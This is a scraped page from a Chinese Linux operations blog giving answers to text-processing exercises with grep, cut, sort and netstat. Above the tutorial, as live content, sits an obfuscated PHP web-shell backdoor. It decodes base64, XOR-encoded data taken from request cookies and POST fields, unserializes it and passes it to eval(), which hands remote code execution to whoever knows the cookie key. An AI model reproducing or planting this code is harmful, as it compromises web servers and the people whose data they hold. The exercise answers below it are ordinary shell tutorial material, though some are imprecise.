$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 0804练习与作业 | Linux运维部落

0804练习与作业

0804练习与作业

练习

 1 、找出ifconfig 命令结果中本机的所有IPv4 地址

答: 使用cut将电脑的IP地址提取出来。

图片12.png 

经过观察,这些信息极为不规则,没有明显的分隔符。这时们需要首先提取出IP地址所在的行,然后去定义一个合适的分隔符,再利用cut进行提取即可。(思路:化繁为简,化不规则为规则,这样才能更好的套用我们的命令模型)

图片13.png 

 2 、查出分区空间使用率的最大百分比值

答:# df|tr -s " "|sort -t" " -k 5 -nr |head -2|tail -1|cut -d" " -f5

图片14.png 

 3 、查出用户UID 最大值的用户名、UID shell 类型

答:# getent passwd|sort -t: -k 3 -n|cut -d: -f1,3,7|tail -1

 图片15.png

 4 、查出/tmp 的权限,以数字方式显示

答:#stat /tmp|head -n 4|tail -n 1|cut -d"(" -f2|cut -d"/" -f1

图片16.png 

 5 、统计当前连接本机的每个远程主机IP 的连接数,并按从大到小排序。

答:利用iptables -F关闭防火墙

     netstat -nt显示连接主机的ip

$ netstat -nt|tr -s " "|cut -d" " -f5|cut -d: -f1|sort -rn|uniq -c

图片17.png 

6 、显示/proc/meminfo 文件中以大小S开头的行;( 要求:使用两种方式)

答:(1grep  ^S  /proc/meminfo v

图片18.png 

(2)grep  S.*  /proc/meminfo

图片19.png 

7 、显示/etc/passwd 文件中不以/bin/bash 结尾的行

答:]# grep -v '/bin/bash$'  /etc/passwd

图片20.png 

8、显示用户rpc 默认的shell 程序

v答: 找这样的用户rpc,则必须先锚定为一行的行首,其次长度一定,那么再进行行尾的锚定。

 图片21.png

9、找出/etc/passwd 中的两位或三位数.

  答:grep \<[[:digit:]]\{2,3\}\> /etc/passwd  只是数字所以记得要锚定。

图片22.png 

10、显示/etc/grub2.cfg 文件中,至少以一个空白字符开头的

且后面存非空白字符的行

答:]# grep "^[[:space:]]\+[^[:space:]].*"  /etc/grub2.cfg

图片23.png 

11、找出"netstat -tan" 命令的结果中以'LISTEN' 后跟0 1或多个空白字符结尾的行。

答:]# netstat -tan|grep "\<LISTEN[[:space:]]*$"

图片24.png 

12、添加用户bash testbash basher 以及nologin( shell/sbin/nologin), 而后找出/etc/passwd 文件中用户名同shell名的行。

答:先按要求添加用户

图片25.png 

然后,输入# getent passwd | grep "\(\b[[:alnum:]]\{1,\}\):.*\1$"  /etc/passwd

图片26.png 

13、显示当前系统root mage wang 用户的UID 和默认shell

答:# grep -E "^root\b|^wang\b"  /etc/passwd |cut -d: -f3,7

图片27.png 

图片28.png 

14、找出/etc/rc.d/init.d/functions 文件中行首为某单词(

括下划线) 后面跟一个小括号的行。

答:grep ^([[:alpha:]_])+\(\) /etc/rc.d/init.d/functions

图片29.png 

15、使用egrep 取出/etc/rc.d/init.d/functions 中其基名。

答:# ls -d  /etc/rc.d/init.d/functions |egrep  -o "[^/]+$"

16、使用egrep 取出上面路径的目录名

答:# echo  "/etc/rc.d/init.d/functions" |egrep  -o "^.*/"

17、统计以root 身份登录的每个远程主机IP 地址的登录次数

答:# who |tr -s " " ":"|grep "^root\b"|cut -d "(" -f2|cut -d ")" -f1|uniq -c

 

图片30.png 

图片32.png 

18、利用扩展正则表达式分别表示0-9 10-99 100-199200-249 250-255

答: 0-9     grep -E "^[[:digit:]]\b"

     10-99   grep -E "^[1-9][0-9]\b" /testdir/a.txt

     100-199  grep -E "^1[0-9][0-9]\b" /testdir/a.txt

     200-249   grep -E "^2[0-4][0-9]\b" /testdir/a.txt

     250-255   grep -E "^25[0-5]\b" /testdir/a.txt

19、显示ifconfig 命令结果中所有IPv4

答: 以centos为例

图片32.png 

输入:ifconfig |grep -E "(Bcast)"|tr -s " " ":"|cut -d: -f6

图片33.png 

 

原创文章,作者:178babyhanggege,如若转载,请注明出处:http://www.178linux.com/30845

(0)
上一篇 2016-08-08 20:10
下一篇 2016-08-08 20:10

相关推荐

  • CentOS7中nmcli网络管理及使用详解

    一、网络接口配置工具    在CentOS7系统中,强烈推荐使用nmcli管理网卡。下面记录的是nmcli的使用详解。    网络接口配置工具NetworkManager(简称为nmcli),该命令的作用是:可以查询网络连接的状态,也可以用来管理网络(设置系统每个网卡的特性)。该命令如何使用呢,其实可以用"n…

    Linux干货 2016-09-11
  • N22-南京-修 第一周作业

    一、计算机的组成     计算机由硬件系统和软件系统组成;         硬件系统:运算器、控制器、存储器、输入设备、输出设备; (运算器、控制器):统称为CPU,它是一个具有特定功能的芯片,通过其内部含有的微指令集对从内存中读取来的数据…

    Linux干货 2016-08-15
  • 笔记一.如何使用VMWare Workstations 12 创建虚拟机

    笔记一.如何使用VMWare Workstations 12 创建虚拟机   一、准备工作 1.下载并安装VMWare Workstations 12 http://www.epinv.com/post/6304.html 下载链接 二、创建虚拟机步骤 1.打开VMWare Workstations 12 选择创建虚拟机 2.在创建虚拟机…

    Linux干货 2017-02-14
  • ubuntu kylin虚拟机安装KVM

    1.确定物理机CPU是否支持虚拟化    查看方法1:计算机->属性->处理器(Inter(R) Core(TM) i5-2450M),然后去网上查看自己的电脑CPU是否支持虚拟化,    地址http://ark.intel.com/zh-cn/找到自己CPU的信息,虚拟化技术后是否显示为yes,如果是n…

    Linux干货 2016-10-15
  • iptables基础详解

    一.iptables基础认知二.iptables使用格式  一.iptables简介   1.Iptabels是与Linux内核集成的包过滤防火墙系统,几乎所有的linux发行版本都会包含Iptables的功能。如果 Linux 系统连接到因特网或LAN、服务器或连接 LAN 和因特网的代理服务器, 则Iptables有利于在 …

    2017-05-03
  • 第六周作业

    vim编辑器的使用 vim在工作过程中有三种模式:编辑模式、输入模式、末行模式 编辑模式:也叫命令模式,键盘操作常被理解为编辑命令。 输入模式:在文本文件中输入内容。 末行模式:vim内置的命令行接口,执行vim的内置命令。 vim的使用 打开文件:#vim [OPTIONS]…[FILE]… +#:打开文件后,直接让光标处于第#行 …

    Linux干货 2017-07-04